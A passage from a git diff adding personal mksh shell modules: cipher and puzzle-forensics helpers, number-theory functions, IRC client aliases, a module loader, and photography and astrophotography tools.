"Usage: echo text | railfence <enc|dec> <rails>"; return 1; } + python3 -c " +import sys +mode,rails='$1',int('$2') +text=sys.stdin.read().strip() +if mode=='enc': + fence=[[] for _ in range(rails)] + rail,d=0,1 + for c in text: + fence[rail].append(c) + if rail==0: d=1 + elif rail==rails-1: d=-1 + rail+=d + print(''.join(''.join(r) for r in fence)) +else: + n=len(text); fence=[[None]*n for _ in range(rails)] + rail,d=0,1 + for i in range(n): + fence[rail][i]='*' + if rail==0: d=1 + elif rail==rails-1: d=-1 + rail+=d + idx=0 + for r in range(rails): + for i in range(n): + if fence[r][i]=='*': fence[r][i]=text[idx]; idx+=1 + rail,d=0,1; result=[] + for i in range(n): + result.append(fence[rail][i]) + if rail==0: d=1 + elif rail==rails-1: d=-1 + rail+=d + print(''.join(result)) +" +} + +brainfuck() { + [ -z "$1" ] && { echo "Usage: brainfuck <code>"; return 1; } + python3 -c " +code='$1'; tape=[0]*30000; ptr=0; ip=0; output=[] +while ip<len(code): + c=code[ip] + if c=='>': ptr+=1 + elif c=='<': ptr-=1 + elif c=='+': tape[ptr]=(tape[ptr]+1)%256 + elif c=='-': tape[ptr]=(tape[ptr]-1)%256 + elif c=='.': output.append(chr(tape[ptr])) + elif c=='[' and tape[ptr]==0: + d=1 + while d>0: ip+=1; d+=(1 if code[ip]=='[' else -1 if code[ip]==']' else 0) + elif c==']' and tape[ptr]!=0: + d=1 + while d>0: ip-=1; d+=(1 if code[ip]==']' else -1 if code[ip]=='[' else 0) + ip+=1 +print(''.join(output)) +" +} + +bacon() { + [ $# -lt 1 ] && { echo "Usage: echo text | bacon <enc|dec>"; return 1; } + python3 -c " +import sys +mode='$1' +bacon_map={chr(65+i):format(i,'05b').replace('0','a').replace('1','b') for i in range(26)} +rev_map={v:k for k,v in bacon_map.items()} +text=sys.stdin.read().strip() +if mode=='enc': + print(' '.join(bacon_map.get(c.upper(),'?') for c in text if c.isalpha())) +else: + text=text.lower().replace(' ','') + print(''.join(rev_map.get(text[i:i+5],'?') for i in range(0,len(text)-4,5))) +" +} + +polybius() { + [ $# -lt 1 ] && { echo "Usage: echo text | polybius <enc|dec>"; return 1; } + python3 -c " +import sys +mode='$1' +grid='ABCDEFGHIKLMNOPQRSTUVWXYZ' +text=sys.stdin.read().strip().upper().replace('J','I') +if mode=='enc': + for c in text: + if c in grid: i=grid.index(c); print(f'{i//5+1}{i%5+1}',end=' ') + else: print(c,end=' ') + print() +else: + nums=text.split() + for n in nums: + if len(n)==2 and n.isdigit(): print(grid[(int(n[0])-1)*5+(int(n[1])-1)],end='') + else: print(n,end='') + print() +" +} + +bookcip() { + [ $# -lt 2 ] && { echo "Usage: bookcip <textfile> <indices> [-w]"; return 1; } + python3 -c " +text=open('$1').read() +indices=[int(x) for x in '$2'.split(',')] +if '-w' in '$3': + words=text.split() + print(''.join(words[i-1] if i<=len(words) else '?' for i in indices)) +else: + print(''.join(text[i-1] if i<=len(text) else '?' for i in indices)) +" +} + +zwchars() { + python3 -c " +import sys +text=sys.stdin.read() +zw={'\u200b':'ZWSP','\u200c':'ZWNJ','\u200d':'ZWJ','\ufeff':'BOM','\u200e':'LRM','\u200f':'RLM'} +found=[] +for i,c in enumerate(text): + if c in zw: found.append(f'pos {i}: {zw[c]} (U+{ord(c):04X})') +if found: + for f in found: print(f) + bits=''.join('1' if c=='\u200b' else '0' for c in text if c in zw) + if len(bits)>=8: + decoded=''.join(chr(int(bits[i:i+8],2)) for i in range(0,len(bits)-7,8)) + print(f'Binary decode attempt: {decoded}') +else: print('No zero-width characters found') +" +} + +acrostic() { + [ -z "$1" ] && { echo "Usage: acrostic <file> [-w]"; return 1; } + if [ "$2" = "-w" ]; then + awk '{print substr($1,1,1)}' "$1" | tr -d '\n'; echo + else + cut -c1 "$1" | tr -d '\n'; echo + fi +} + +tapcode() { + [ $# -lt 1 ] && { echo "Usage: echo text | tapcode <enc|dec>"; return 1; } + python3 -c " +import sys +grid='ABCDEFGHIKLMNOPQRSTUVWXYZ' +mode='$1'; text=sys.stdin.read().strip().upper().replace('K','C') +if mode=='enc': + for c in text: + if c in grid: i=grid.index(c); print(f'{i//5+1},{i%5+1}',end=' ') + print() +else: + for pair in text.split(): + r,c=pair.split(',') + print(grid[(int(r)-1)*5+(int(c)-1)],end='') + print() +" +} + +runic() { + [ -z "$1" ] && { echo "Usage: runic <text> [-r]"; return 1; } + python3 -c " +latin2rune={'f':'ᚠ','u':'ᚢ','th':'ᚦ','a':'ᚨ','r':'ᚱ','k':'ᚲ','g':'ᚷ','w':'ᚹ', +'h':'ᚺ','n':'ᚾ','i':'ᛁ','j':'ᛃ','p':'ᛈ','z':'ᛉ','s':'ᛊ','t':'ᛏ', +'b':'ᛒ','e':'ᛖ','m':'ᛗ','l':'ᛚ','d':'ᛞ','o':'ᛟ'} +rune2latin={v:k for k,v in latin2rune.items()} +text='$1' +if '${2:--}' == '-r': + print(''.join(rune2latin.get(c,c) for c in text)) +else: + i=0; r=[] + while i<len(text): + if i+1<len(text) and text[i:i+2] in latin2rune: r.append(latin2rune[text[i:i+2]]); i+=2 + elif text[i] in latin2rune: r.append(latin2rune[text[i]]); i+=1 + else: r.append(text[i]); i+=1 + print(''.join(r)) +" +} + +# ============================================================================ +# aliases: file format forensics +# ============================================================================ +alias pdfinfo='pdfinfo' +alias pdftxt='pdftotext -' +alias ziplist='unzip -l' +alias 7zlist='7z l' +alias hexhead='od -A x -t x1z -v -N 512' +alias hexeof='tail -c 512 | hexdump -C' +alias gpgpackets='gpg --list-packets' + +# ============================================================================ +# functions: file format forensics +# ============================================================================ + +filedeep() { + [ -z "$1" ] && { echo "Usage: filedeep <file>"; return 1; } + echo "=== TYPE ===" && file "$1" + echo "=== MIME ===" && file -b --mime-type "$1" + echo "=== MAGIC ===" && od -A x -t x1z -v -N 256 "$1" | head -5 + echo "=== STRINGS ===" && strings -n 4 "$1" | head -20 + echo "=== EXIF ===" && exiftool "$1" 2>/dev/null | head -15 + echo "=== ENTROPY ===" && python3 -c " +import math; data=open('$1','rb').read() +h=sum(-p*math.log2(p) for p in [data.count(bytes([b]))/len(data) for b in range(256)] if p>0) +print(f'{h:.4f} bits/byte') +" +} + +polyglotcheck() { + [ -z "$1" ] && { echo "Usage: polyglotcheck <file>"; return 1; } + echo "=== POLYGLOT TEST ===" + head -c 8 "$1" | od -An -tx1 | grep -q '89 50 4e 47' && echo "[+] PNG" + head -c 2 "$1" | od -An -tx1 | grep -q 'ff d8' && echo "[+] JPEG" + head -c 4 "$1" | od -An -tx1 | grep -q '50 4b 03 04' && echo "[+] ZIP" + head -c 5 "$1" | grep -q '%PDF' && echo "[+] PDF" + head -c 6 "$1" | grep -q 'GIF8' && echo "[+] GIF" + local t="$(mktemp -d)"; cp "$1" "$t/t.zip" + unzip -t "$t/t.zip" >/dev/null 2>&1 && echo "[+] Valid ZIP archive" + rm -rf "$t" +} + +eofdata() { + [ -z "$1" ] && { echo "Usage: eofdata <file> [pdf|png]"; return 1; } + case "${2:-auto}" in + pdf) grep -a -b "%%EOF" "$1" | tail -1 ;; + png) python3 -c " +d=open('$1','rb').read(); i=d.find(b'IEND\xae\x42\x60\x82') +if i>=0: + t=d[i+12:] + if t: print(f'{len(t)} bytes after IEND'); print(t[:200]) + else: print('No trailing data') +" ;; + *) echo "Last 512 bytes:" && tail -c 512 "$1" | od -A x -t x1z -v ;; + esac +} + +pdfextract() { + [ -z "$1" ] && { echo "Usage: pdfextract <pdf> [outdir]"; return 1; } + local d="${2:-.}"; mkdir -p "$d" + pdftotext "$1" "$d/text.txt" 2>/dev/null && echo "[+] text.txt" + pdfinfo "$1" > "$d/info.txt" 2>/dev/null && echo "[+] info.txt" + strings "$1" | grep -a "obj\|stream" | head -50 > "$d/structure.txt" && echo "[+] structure.txt" +} + +embedfind() { + [ -z "$1" ] && { echo "Usage: embedfind <file>"; return 1; } + local h="$(hexdump -C "$1")" + echo "ZIP sigs: $(echo "$h" | grep -c '50 4b 03 04')" + echo "PNG sigs: $(echo "$h" | grep -c '89 50 4e 47')" + echo "PDF sigs: $(echo "$h" | grep -c '25 50 44 46')" + echo "JPEG sigs: $(echo "$h" | grep -c 'ff d8 ff')" +} + +hexcompare() { + [ $# -lt 2 ] && { echo "Usage: hexcompare <f1> <f2>"; return 1; } + cmp -s "$1" "$2" && echo "[IDENTICAL]" || { echo "[DIFFERENT]"; cmp -l "$1" "$2" | head -20; } +} + +svgextract() { + [ -z "$1" ] && { echo "Usage: svgextract <svg>"; return 1; } + echo "=== Comments ===" && grep -o '<!--.*-->' "$1" | head -10 + echo "=== Hidden ===" && grep -E 'display.*none|opacity.*0|visibility.*hidden' "$1" | head -10 + echo "=== Metadata ===" && grep -o '<metadata>.*</metadata>' "$1" | head -5 + echo "=== Data URIs ===" && grep -oE 'data:[^"]+' "$1" | head -5 +} + +qrextract() { + [ -z "$1" ] && { echo "Usage: qrextract <image>"; return 1; } + command -v zbarimg >/dev/null && zbarimg "$1" 2>/dev/null || echo "[-] zbarimg not installed" +} + +pgppackets() { + [ -z "$1" ] && { echo "Usage: pgppackets <file>"; return 1; } + gpg --list-packets "$1" 2>/dev/null || od -A x -t x1z -v -N 256 "$1" +} + +torrentparse() { + [ -z "$1" ] && { echo "Usage: torrentparse <torrent>"; return 1; } + echo "=== Content ===" && strings "$1" | head -30 + echo "=== Trackers ===" && strings "$1" | grep -E "http|udp|announce" | head -10 +} + +# ============================================================================ +# aliases: math / number theory +# ============================================================================ +alias sage='sage --no-banner' +alias gp='gp -q' +alias bc='bc -l' + +# ============================================================================ +# functions: math / number theory +# ============================================================================ + +isprime() { + [ -z "$1" ] && { echo "Usage: isprime <n>"; return 1; } + python3 -c "from sympy import isprime; print(1 if isprime($1) else 0)" +} + +factorize() { + [ -z "$1" ] && { echo "Usage: factorize <n>"; return 1; } + if [ "$1" -lt 1000000000000000 ] 2>/dev/null; then factor "$1" + else python3 -c "from sympy import factorint; f=factorint($1); print(' '.join(f'{p}^{e}' if e>1 else str(p) for p,e in sorted(f.items())))" + fi +} + +primes() { + python3 -c "from sympy import primerange; [print(p) for p in primerange(${1:-2}, ${2:-100}+1)]" +} + +nthprime() { + [ -z "$1" ] && { echo "Usage: nthprime <n>"; return 1; } + python3 -c "from sympy import prime; print(prime($1))" +} + +fibonacci() { + [ -z "$1" ] && { echo "Usage: fibonacci <n> [compute|check]"; return 1; } + python3 -c " +n=$1 +if '${2:-compute}'=='check': + import math + print(1 if any(int(math.sqrt(x))**2==x for x in [5*n*n+4,5*n*n-4]) else 0) +else: + a,b=0,1 + for _ in range(n): a,b=b,a+b + print(a) +" +} + +totient() { + [ -z "$1" ] && { echo "Usage: totient <n>"; return 1; } + python3 -c "from sympy import totient; print(totient($1))" +} + +modpow() { + [ $# -lt 3 ] && { echo "Usage: modpow <base> <exp> <mod>"; return 1; } + python3 -c "print(pow($1,$2,$3))" +} + +modinv() { + [ $# -lt 2 ] && { echo "Usage: modinv <a> <mod>"; return 1; } + python3 -c "from sympy import mod_inverse; print(mod_inverse($1,$2))" 2>/dev/null || echo "No inverse" +} + +gematria() { + [ -z "$1" ] && { echo "Usage: gematria <text> [ordinal|hebrew|reduced]"; return 1; } + python3 -c " +text='$1'; sys='${2:-ordinal}' +def en(s): return sum(ord(c)-64 for c in s.upper() if 'A'<=c<='Z') +if sys=='ordinal': print(en(text)) +elif sys=='reduced': + t=en(text) + while t>=10: t=sum(int(d) for d in str(t)) + print(t) +else: print(en(text)) +" +} + +baseconv() { + [ -z "$1" ] && { echo "Usage: baseconv <value> [from_base] [to_base]"; return 1; } + python3 -c " +v=int('$1',${2:-10}) +tb=${3:-16} +if tb==10: print(v) +elif tb==16: print(hex(v)) +elif tb==8: print(oct(v)) +elif tb==2: print(bin(v)) +else: + d='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/' + r=[] + while v>0: r.append(d[v%tb]); v//=tb + print(''.join(reversed(r)) or '0') +" +} + +oeis() { + [ -z "$1" ] && { echo "Usage: oeis <sequence>"; return 1; } + curl -s "https://oeis.org/search?fmt=json&q=$1" | python3 -c "import json,sys; r=json.load(sys.stdin); print(r['results'][0]['name']) if r.get('results') else print('Not found')" 2>/dev/null +} + +runelookup() { + [ -z "$1" ] && { echo "Usage: runelookup <runes>"; return 1; } + python3 -c " +runes={'ᚠ':'f','ᚢ':'u','ᚦ':'th','ᚨ':'a','ᚱ':'r','ᚲ':'k','ᚷ':'g','ᚹ':'w', +'ᚺ':'h','ᚾ':'n','ᛁ':'i','ᛃ':'j','ᛇ':'p','ᛈ':'p','ᛉ':'z','ᛊ':'s', +'ᛏ':'t','ᛒ':'b','ᛖ':'e','ᛗ':'m','ᛚ':'l','ᛜ':'ng','ᛞ':'d','ᛟ':'o'} +print(''.join(runes.get(c,c) for c in '$1')) +" +} + +romannum() { + [ -z "$1" ] && { echo "Usage: romannum <value> [decode|encode]"; return 1; } + python3 -c " +if '${2:-decode}'=='decode': + v={'I':1,'V':5,'X':10,'L':50,'C':100,'D':500,'M':1000} + s='$1'.upper(); t=0 + for i,c in enumerate(s): t+=(-1 if i+1<len(s) and v[c]<v[s[i+1]] else 1)*v[c] + print(t) +else: + n=int('$1'); r='' + for x,y in zip([1000,900,500,400,100,90,50,40,10,9,5,4,1],['M','CM','D','CD','C','XC','L','XL','X','IX','V','IV','I']): + while n>=x: r+=y; n-=x + print(r) +" +} + +collatz() { + [ -z "$1" ] && { echo "Usage: collatz <n>"; return 1; } + python3 -c " +n=$1; s=[n] +while n!=1 and len(s)<200: n=n//2 if n%2==0 else 3*n+1; s.append(n) +print(' -> '.join(map(str,s[:50]))); print(f'Steps: {len(s)-1}') +" +} + +primefactors() { + [ -z "$1" ] && { echo "Usage: primefactors <n>"; return 1; } + python3 -c "from sympy import factorint; f=factorint($1); print(' x '.join(f'{p}^{e}' if e>1 else str(p) for p,e in sorted(f.items())))" +} diff --git a/.config/.mksh/irc.sh b/.config/.mksh/irc.sh new file mode 100644 index 0000000000000000000000000000000000000000..b3ae2e8f44c1d5cb4673de958bb2fb88933ddcf2 --- /dev/null +++ b/.config/.mksh/irc.sh @@ -0,0 +1,180 @@ +# irc -- IRC aliases and functions for catgirl + general IRC tools + +# ============================================================================ +# CATGIRL +# ============================================================================ +alias cg='catgirl' +alias cglibera='catgirl libera' +alias cgoftc='catgirl oftc' +alias cgtilde='catgirl tilde' +alias cglog='ls ~/.local/share/catgirl/log/' + +# ============================================================================ +# SIC (SUCKLESS IRC CLIENT -- MINIMAL) +# ============================================================================ +alias siclibera='sic -h irc.libera.chat -p 6697' +alias sicoftc='sic -h irc.oftc.net -p 6697' + +# ============================================================================ +# IRSSI +# ============================================================================ +alias irssi='irssi --config=~/.config/irssi/config --home=~/.config/irssi' +alias irssitm='tmux new-session -d -s irc irssi && tmux attach -t irc' + +# ============================================================================ +# WEECHAT +# ============================================================================ +alias wctm='tmux new-session -d -s weechat weechat && tmux attach -t weechat' +alias wclog='ls ~/.local/share/weechat/logs/' + +# ============================================================================ +# ZNC (BOUNCER) +# ============================================================================ +alias zncstatus='systemctl --user status znc 2>/dev/null || systemctl status znc' +alias zncstart='systemctl --user start znc 2>/dev/null || systemctl start znc' +alias zncrestart='systemctl --user restart znc 2>/dev/null || systemctl restart znc' +alias znclog='tail -f ~/.znc/moddata/log/' +alias zncweb='echo "ZNC web: https://localhost:6697"' + +# ============================================================================ +# LOG SEARCHING +# ============================================================================ +alias ircgrep='grep -rn --include="*.log" --include="*.weechatlog"' +alias irctoday='grep "$(date +%Y-%m-%d)"' +alias irclinks='grep -ohE "https?://[^ ]+"' + +# ============================================================================ +# NETWORK SHORTCUTS +# ============================================================================ +alias libera='echo "irc.libera.chat:6697 (TLS)"' +alias oftc='echo "irc.oftc.net:6697 (TLS)"' +alias efnet='echo "irc.efnet.org:6697 (TLS)"' +alias undernet='echo "irc.undernet.org:6697 (TLS)"' +alias ircnet='echo "irc.ircnet.net:6697 (TLS)"' +alias tilde='echo "irc.tilde.chat:6697 (TLS)"' +alias sucklessirc='echo "irc.oftc.net:6697 #suckless (TLS)"' +alias plan9irc='echo "irc.libera.chat:6697 #cat-v #plan9 (TLS)"' + +# ============================================================================ +# IRC OVER TOR +# ============================================================================ +alias torirc='torsocks catgirl' + +# ============================================================================ +# CATGIRL HELPERS +# ============================================================================ + +# search catgirl logs for a term +cggrep() { + term="$1"; channel="${2:-}" + [ -z "$term" ] && { echo "Usage: cggrep <term> [channel]"; return 1; } + logdir="$HOME/.local/share/catgirl/log" + if [ -n "$channel" ]; then + grep -rn "$term" "$logdir"/*"$channel"* 2>/dev/null + else + grep -rn "$term" "$logdir" 2>/dev/null + fi +} + +# show recent activity across all catgirl logs +cgrecent() { + count="${1:-20}" + logdir="$HOME/.local/share/catgirl/log" + find "$logdir" -name "*.log" -newer "$logdir" -exec tail -1 {} + 2>/dev/null | sort | tail -"$count" +} + +# ============================================================================ +# WEECHAT HELPERS +# ============================================================================ + +# search weechat logs +wcgrep() { + term="$1"; channel="${2:-}" + [ -z "$term" ] && { echo "Usage: wcgrep <term> [channel]"; return 1; } + logdir="$HOME/.local/share/weechat/logs" + if [ -n "$channel" ]; then + grep -rn "$term" "$logdir"/*"$channel"* 2>/dev/null + else + grep -rn "$term" "$logdir" 2>/dev/null + fi +} + +# ============================================================================ +# ZNC BOUNCER MANAGEMENT +# ============================================================================ + +# add a new network to ZNC +zncaddnet() { + network="$1"; server="$2"; port="${3:-6697}" + [ -z "$server" ] && { echo "Usage: zncaddnet <name> <server> [port]"; return 1; } + echo "[*] Add to ZNC webpanel or use:" + echo " /znc AddNetwork $network" + echo " /znc AddServer $network $server +$port" + echo " /znc AddChan $network #channel" +} + +# ============================================================================ +# GENERAL IRC UTILITIES +# ============================================================================ + +# extract all URLs from IRC logs +ircurls() { + file="$1" + [ -z "$file" ] && { echo "Usage: ircurls <logfile>"; return 1; } + grep -ohE 'https?://[^ ]+' "$file" | sort -u +} + +# count messages per nick in a log +ircstats() { + file="$1" + [ -z "$file" ] && { echo "Usage: ircstats <logfile>"; return 1; } + grep -oE '<[^>]+>' "$file" | sort | uniq -c | sort -rn | head -20 +} + +# generate an IRC log summary +ircsummary() { + file="$1" + [ -z "$file" ] && { echo "Usage: ircsummary <logfile>"; return 1; } + total=$(wc -l < "$file") + nicks=$(grep -oE '<[^>]+>' "$file" | sort -u | wc -l) + urls=$(grep -ohE 'https?://[^ ]+' "$file" | wc -l) + echo "Lines: $total" + echo "Nicks: $nicks" + echo "URLs: $urls" + echo "" + echo "Top talkers:" + grep -oE '<[^>]+>' "$file" | sort | uniq -c | sort -rn | head -5 +} + +# quick connect function (picks the right client) +ircconnect() { + network="$1" + [ -z "$network" ] && { echo "Usage: ircconnect <libera|oftc|tilde|efnet>"; return 1; } + case "$network" in + libera) server="irc.libera.chat"; port=6697 ;; + oftc) server="irc.oftc.net"; port=6697 ;; + tilde) server="irc.tilde.chat"; port=6697 ;; + efnet) server="irc.efnet.org"; port=6697 ;; + *) echo "Unknown network: $network"; return 1 ;; + esac + if command -v catgirl >/dev/null; then + catgirl -h "$server" -p "$port" + elif command -v irssi >/dev/null; then + irssi -c "$server" -p "$port" + else + echo "No IRC client found" + return 1 + fi +} + +# notify on mention (for use in a pipeline: tail -f log | ircnotify nick) +ircnotify() { + nick="$1" + [ -z "$nick" ] && { echo "Usage: tail -f <log> | ircnotify <nick>"; return 1; } + while IFS= read -r line; do + if echo "$line" | grep -qi "$nick"; then + notify-send "IRC Mention" "$line" 2>/dev/null + printf '\007' # bell + fi + done +} diff --git a/.config/.mksh/load.sh b/.config/.mksh/load.sh new file mode 100644 index 0000000000000000000000000000000000000000..4ccb70f70b3e95a41ef61c2ac08a6ac1dd4f11b1 --- /dev/null +++ b/.config/.mksh/load.sh @@ -0,0 +1,18 @@ +# mksh module loader +# Comment/uncomment modules as needed per machine + +_mksh_dir="$HOME/.config/.mksh" + +. "$_mksh_dir/core.sh" +. "$_mksh_dir/audiofile.sh" +. "$_mksh_dir/cinefile.sh" +# . "$_mksh_dir/cp.sh" # competitive programming (codeforces, atcoder, leetcode) +# . "$_mksh_dir/irc.sh" # IRC clients (catgirl, weechat, znc, log tools) +# . "$_mksh_dir/sci.sh" # scientific computing, papers, linear algebra, plotting +# . "$_mksh_dir/creator.sh" # recording, streaming, video editing, screenshots +# . "$_mksh_dir/author.sh" # writing tools, dictionaries, prose analysis, publishing +# . "$_mksh_dir/blog.sh" # blogging tools, link checking, archiving, LLM review +# . "$_mksh_dir/photos.sh" # photography, astrophotography, EXIF, RAW processing +. "$_mksh_dir/ai.sh" +# . "$_mksh_dir/cyber.sh" # pentest tools (uncomment on pentest box) +# . "$_mksh_dir/forensic.sh" # puzzle forensics, stego, ciphers, number theory diff --git a/.config/.mksh/photos.sh b/.config/.mksh/photos.sh new file mode 100644 index 0000000000000000000000000000000000000000..5153a623d11efd3aaad1ac2b773feba30c18f7b7 --- /dev/null +++ b/.config/.mksh/photos.sh @@ -0,0 +1,376 @@ +# photos -- photography and astrophotography aliases and functions +# Sources: dvrs-brad/image-cli-tools, oPromessa gist, rzbrk/astrocam, community + +# ============================================================================ +# EXIFTOOL +# ============================================================================ +alias exif-strip-gps='exiftool -gps:all= -xmp:geotag= -overwrite_original' +alias exif-strip-all='exiftool -all= -overwrite_original' +alias exif-copy='exiftool -TagsFromFile' +alias exif-shot='exiftool -DateTimeOriginal -ExposureTime -FNumber -ISO -FocalLength -LensModel -Model -s' +alias exif-gps='exiftool -gpslatitude -gpslongitude -gpsaltitude -n -s' +alias exif-dump='exiftool -a -u -g1' +alias exif-rename='exiftool -r "-FileName<DateTimeOriginal" -d "%Y-%m-%d-%H%M%S%%-c.%%le" .' +alias exif-sort='exiftool -r -d "%Y/%m/%Y-%m-%d" "-directory<DateTimeOriginal" .' + +# ============================================================================ +# IMAGEMAGICK +# ============================================================================ +alias imageSize='identify -format "%wx%h" ' +alias imageInfo='identify -verbose ' +alias img2jpg='mogrify -format jpg ' +alias img2png='mogrify -format png ' +alias img2webp='mogrify -format webp ' + +# ============================================================================ +# IMAGE OPTIMIZATION +# ============================================================================ +alias jpgopt='jpegoptim --max=90 --strip-all --all-progressive' +alias pngopt='optipng -o2 -quiet' + +# ============================================================================ +# COLOR MANAGEMENT +# ============================================================================ +alias to-srgb='convert -colorspace sRGB -profile /usr/share/color/icc/colord/sRGB.icc' +alias load-icc='dispwin -d1 ~/.local/share/icc/display_profile.icc' + +# ============================================================================ +# TIMELAPSE +# ============================================================================ +alias timelapse='ffmpeg -framerate 30 -pattern_type glob -i "*.jpg" -c:v libx264 -pix_fmt yuv420p -crf 18 timelapse.mp4' + +# ============================================================================ +# INDI (ASTROPHOTOGRAPHY) +# ============================================================================ +alias indi-stop='pkill indiserver' +alias indi-status='pgrep -a indiserver' + +# ============================================================================ +# SIRIL +# ============================================================================ +alias siril='siril-cli' + +# ============================================================================ +# FUNCTIONS +# ============================================================================ + +# sort photos into YYYY/MM/YYYY-MM-DD folders by EXIF date +photosort() { + dir="${1:-.}" + for file in "$dir"/*.jpg "$dir"/*.JPG "$dir"/*.jpeg "$dir"/*.png "$dir"/*.CR2 "$dir"/*.NEF "$dir"/*.ARW "$dir"/*.DNG; do + [ -f "$file" ] || continue + DATE=$(exiftool -d "%Y/%m/%Y-%m-%d" -DateTimeOriginal -S -s "$file" 2>/dev/null) + [ -z "$DATE" ] && DATE=$(stat -c %y "$file" 2>/dev/null | cut -d' ' -f1 | sed 's/-/\//;s/\(.*\)\//\1\//') + [ -z "$DATE" ] && continue + mkdir -p "$DATE" + mv -v "$file" "$DATE/" + done +} + +# import from SD card with date-based organization +photoimport() { + sdcard="${1:-/media/$USER/SDCARD}" + dest="${2:-$HOME/Pictures/Import}" + [ ! -d "$sdcard/DCIM" ] && { echo "No DCIM found at $sdcard"; return 1; } + find "$sdcard/DCIM" -type f \( -iname '*.jpg' -o -iname '*.cr2' -o -iname '*.arw' -o -iname '*.nef' -o -iname '*.raf' -o -iname '*.dng' \) | while read -r f; do + DATE=$(exiftool -d "%Y/%m/%d" -DateTimeOriginal -S -s "$f" 2>/dev/null) + FNAME=$(exiftool -d "%Y%m%d-%H%M%S" -DateTimeOriginal -S -s "$f" 2>/dev/null) + EXT="${f##*.}" + mkdir -p "$dest/$DATE" + cp -n "$f" "$dest/$DATE/${FNAME}.${EXT}" + done + echo "[+] Import complete to $dest" +} + +# stamp copyright on all images +exif_copyright() { + name="${1:-$(whoami)}"; year="${2:-$(date +%Y)}" + exiftool -r -overwrite_original \ + -Copyright="Copyright $year $name. All rights reserved." \ + -Artist="$name" -Creator="$name" \ + -ext jpg -ext jpeg -ext png -ext cr2 -ext nef -ext arw . +} + +# strip GPS for privacy before sharing +exif_privacy() { + dir="${1:-.}" + exiftool -r -overwrite_original \ + -gps:all= -GPSLatitude= -GPSLongitude= -GPSAltitude= \ + -GPSTimeStamp= -GPSDateStamp= -Location= "$dir" +} + +# shift timestamps (timezone/clock correction) +exif_shift_time() { + offset="$1"; dir="${2:-.}" + [ -z "$offset" ] && { echo "Usage: exif_shift_time <+H:MM:SS> [dir]"; return 1; } + exiftool -r -overwrite_original -AllDates"${offset}" "$dir" +} + +# add IPTC keyword tags +exif_tag() { + keyword="$1"; shift + [ -z "$keyword" ] && { echo "Usage: exif_tag <keyword> <files...>"; return 1; } + exiftool -overwrite_original -Keywords+="$keyword" -Subject+="$keyword" "$@" +} + +# darktable batch convert RAW to JPEG +dt_batch() { + rawdir="${1:-.}"; outdir="${2:-./jpeg}"; quality="${3:-90}" + mkdir -p "$outdir" + for raw in "$rawdir"/*.CR2 "$rawdir"/*.NEF "$rawdir"/*.ARW "$rawdir"/*.RAF "$rawdir"/*.DNG "$rawdir"/*.RW2; do + [ -f "$raw" ] || continue + base=$(basename "${raw%.*}") + darktable-cli "$raw" "$outdir/${base}.jpg" \ + --width 4000 --height 4000 \ + --core --conf plugins/imageio/format/jpeg/quality="$quality" + done +} + +# RawTherapee batch with preset +rt_batch() { + profile="$1"; outdir="${2:-./processed}" + [ -z "$profile" ] && { echo "Usage: rt_batch <profile.pp3> [outdir]"; return 1; } + mkdir -p "$outdir" + for raw in *.CR2 *.NEF *.ARW *.DNG *.RAF; do + [ -f "$raw" ] || continue + rawtherapee-cli -o "$outdir" -p "$profile" -j90 -js3 -Y -c "$raw" + done +} + +# resize preserving aspect ratio +imageResize() { + width="${2:-1920}" + convert "$1" -resize "${width}x" "${1%.*}_${width}w.${1##*.}" +} + +# watermark with text +watermark() { + text="${1:-$(whoami) $(date +%Y)}"; shift + for img in "$@"; do + convert "$img" -gravity SouthEast \ + -fill "rgba(255,255,255,0.30)" -pointsize 24 \ + -annotate +10+10 "$text" "wm_${img}" + done +} + +# contact sheet / proof sheet +contact_sheet() { + dir="${1:-.}"; output="${2:-contact_sheet.jpg}" + montage "$dir"/*.jpg -geometry "300x300+5+5" -tile 5x \ + -title "Contact Sheet - $(date +%Y-%m-%d)" \ + -shadow -background "#f0f0f0" "$output" +} + +# resize for social media platforms +resize_for() { + platform="$1"; img="$2" + [ -z "$img" ] && { echo "Usage: resize_for <instagram|facebook|twitter|web> <image>"; return 1; } + case "$platform" in + instagram) convert "$img" -resize 1080x1080^ -gravity center -extent 1080x1080 "ig_$img" ;; + facebook) convert "$img" -resize 1200x630^ -gravity center -extent 1200x630 "fb_$img" ;; + twitter) convert "$img" -resize 1200x675^ -gravity center -extent 1200x675 "tw_$img" ;; + web) convert "$img" -resize 2048x2048\> -quality 85 -strip "web_$img" ;; + esac +} + +# panorama stitching with Hugin +auto_pano() { + outname="${1:-panorama}"; shift + pto_gen -o "$outname.pto" "$@" + cpfind --multirow -o "$outname.pto" "$outname.pto" + cpclean -o "$outname.pto" "$outname.pto" + linefind -o "$outname.pto" "$outname.pto" + autooptimiser -a -m -l -s -o "$outname.pto" "$outname.pto" + pano_modify --canvas=AUTO --crop=AUTO -o "$outname.pto" "$outname.pto" + hugin_executor --stitching --prefix="$outname" "$outname.pto" +} + +# HDR exposure bracket merge +hdr_merge() { + output="${1:-hdr_merged.tif}"; shift + align_image_stack -m -a aligned_ "$@" + enfuse --exposure-weight=1 --saturation-weight=0.2 \ + --contrast-weight=0 --hard-mask -o "$output" aligned_*.tif + rm -f aligned_*.tif + echo "HDR merged: $output" +} + +# batch optimize JPEGs and PNGs +optimize_images() { + dir="${1:-.}"; quality="${2:-85}" + find "$dir" -iname "*.jpg" -o -iname "*.jpeg" | while read -r f; do + jpegoptim --max="$quality" --strip-all --all-progressive "$f" + done + find "$dir" -iname "*.png" | while read -r f; do + pngquant --quality=65-80 --skip-if-larger --force --ext .png "$f" + optipng -o2 -quiet "$f" + done +} + +# web-optimized export +webexport() { + src="$1"; maxwidth="${2:-2048}"; quality="${3:-85}" + [ -z "$src" ] && { echo "Usage: webexport <image> [maxwidth] [quality]"; return 1; } + convert "$src" -resize "${maxwidth}x${maxwidth}>" -strip \ + -interlace Plane -quality "$quality" -sampling-factor 4:2:0 \ + -colorspace sRGB "${src%.*}_web.jpg" +} + +# generate thumbnails at multiple sizes +gen_thumbs() { + img="$1"; base="${img%.*}"; ext="${img##*.}" + for size in 150 300 600 1200; do + convert "$img" -resize "${size}x${size}>" -quality 85 -strip "${base}_${size}.${ext}" + done +} + +# capture light and dark frames with gphoto2 +astro_capture() { + exposure="${1:-30}"; count="${2:-50}"; darks="${3:-10}"; iso="${4:-1600}" + outdir="./capture_$(date +%Y%m%d_%H%M%S)" + mkdir -p "$outdir/lights" "$outdir/darks" + gphoto2 --set-config iso="$iso" --set-config shutterspeed=bulb + echo "[*] Capturing $count lights at ${exposure}s ISO${iso}..." + i=1; while [ 